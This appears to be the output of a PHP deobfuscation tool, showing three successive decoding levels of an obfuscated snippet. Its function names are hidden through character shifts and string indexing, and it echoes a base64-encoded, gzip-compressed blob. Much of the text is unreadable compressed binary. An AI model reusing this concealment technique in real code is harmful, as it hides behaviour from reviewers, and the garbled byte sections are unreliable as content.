Decrypted code level 1:

$keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==");
if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}
$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11];
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
echo $OO000OO000OO(base64_decode('LcRHjq
tIAADQy4zU3WJBgaEAfc2CHG2CCYbNiAzVJJPN6f
9m3uKVe9p9/2PbAID/+87SpYTUf0WZj0X5/WXlno
am1eV5yf0A30QKcrFUGJXG930pKvzAp1X9EAC7Tw
vbZY7VdAzkqnUkGtLBMLb/qJIT3Zp76B5vvPI2bW
ZStDoiRjsF+UByldRGoe0QKqEicgFzaSOeP5OeTD
gYfkBjBbO3ufdSirVZnjrRsx59Q/ntDAnwIu6BZN
Wkcab5FAnjI5YjrG/FWEwV11KjTXkrs5+wbsdW88
vI50ssjFDux7pgwB25akl1xBgQ2Au8w9UBKJstZj
F24wMH6intOoYo8ZrycFgUPZHtsX32xis/FIqRaf
MUrjQb9EvzPlKtqYO+ngC5DPPpRI7SEZW0JGGYRJ
zHCRhP0BKepCptZp6JLvvNTj+HcwMAHtB+2Rx1vB
T2fEZtsqlxNO2ZactvSzCp39imq0UUyWq0cdG/M/
tuE/zvhAxi0XFNvZ0zNOdNGvXhmBYLRjD5vZm3Qd
VNGHeZ8ST6ZW+2eiELak5pXEG7QET+A8LpIlctZT
V0z8tq9DdPyfxIFw6bOh0QdGwVPFVMajleU9kZ8c
G9hQM99NjhQZJ3DzpLTsZPpkf55pwGxJ0/8Bq29X
XjvrXnurWdXy5gxgrPA/RExU7PMSag4/paV6V1CN
tpJ5ozgfiSUN3Ild/RoT2UfRqy1ih3Wp8WBrzXeS
PgiqWKbjkZpaGH8t7KpXELAKE2Voq2W9C3PBWUuH
DM27if7/UIYmSxkLtsG3FO7UhvRgfmbhDp3a5oj0
8CwLnD+WHgozto6zfgopTmztL9PPYhmdi5f9xMht
jJGtRQT1vLwnHcuTB8ZzD2YP/9+vn5+fMX'));   

Decrypted code level 2:

$keystroke1 = wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp;
if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}
$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11];
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
echo $OO000OO000OO(-GHˌbA}͂m	͈$f{}cҥEEe垆yD
rT})*UOetu$0ݚ{o6mfR:"F;@rF*"r
si#?L8~@cRY:ѳ}C	"dդq	##oXLRMy+nVK,PǺ`jIu
(-f1v):(pX=}+?i4K>RD$aD	O*mf.N?s~u|Fmq4ioK0ئEjqѿ3nbqM34MF0AMw$eoz!jNi\A@D"W-e5tj7OH:tl<ULj9^S=Aw:KNOGĝ?u㾵纵_.`
DN1&ZWui'3Pȕѡ=}(wZy#n9ʥq6V[з<p۸bdlqNHoFnݮhOa;h7࢔<!عLPO[qܹ0|g0`);   

Decrypted code level 3:

if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}
$O0O0O0O0O0O0="rotencode";

$OO000OO000OO="gzinflate";
$O0000000000O="base64_decode";
echo $OO000OO000OO(-GHˌbA}͂m	͈$f{}cҥEEe垆yD
rT})*UOetu$0ݚ{o6mfR:"F;@rF*"r
si#?L8~@cRY:ѳ}C	"dդq	##oXLRMy+nVK,PǺ`jIu
(-f1v):(pX=}+?i4K>RD$aD	O*mf.N?s~u|Fmq4ioK0ئEjqѿ3nbqM34MF0AMw$eoz!jNi\A@D"W-e5tj7OH:tl<ULj9^S=Aw:KNOGĝ?u㾵纵_.`
DN1&ZWui'3Pȕѡ=}(wZy#n9ʥq6V[з<p۸bdlqNHoFnݮhOa;h7࢔<!عLPO[qܹ0|g0`);   

if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}
$O0O0O0O0O0O0="rotencode";


$O0000000000O="base64_decode";
echo "gzinflate"(-GHˌbA}͂m	͈$f{}cҥEEe垆yD
rT})*UOetu$0ݚ{o6mfR:"F;@rF*"r
si#?L8~@cRY:ѳ}C	"dդq	##oXLRMy+nVK,PǺ`jIu
(-f1v):(pX=}+?i4K>RD$aD	O*mf.N?s~u|Fmq4ioK0ئEjqѿ3nbqM34MF0AMw$eoz!jNi\A@D"W-e5tj7OH:tl<ULj9^S=Aw:KNOGĝ?u㾵纵_.`
DN1&ZWui'3Pȕѡ=}(wZy#n9ʥq6V[з<p۸bdlqNHoFnݮhOa;h7࢔<!عLPO[qܹ0|g0`);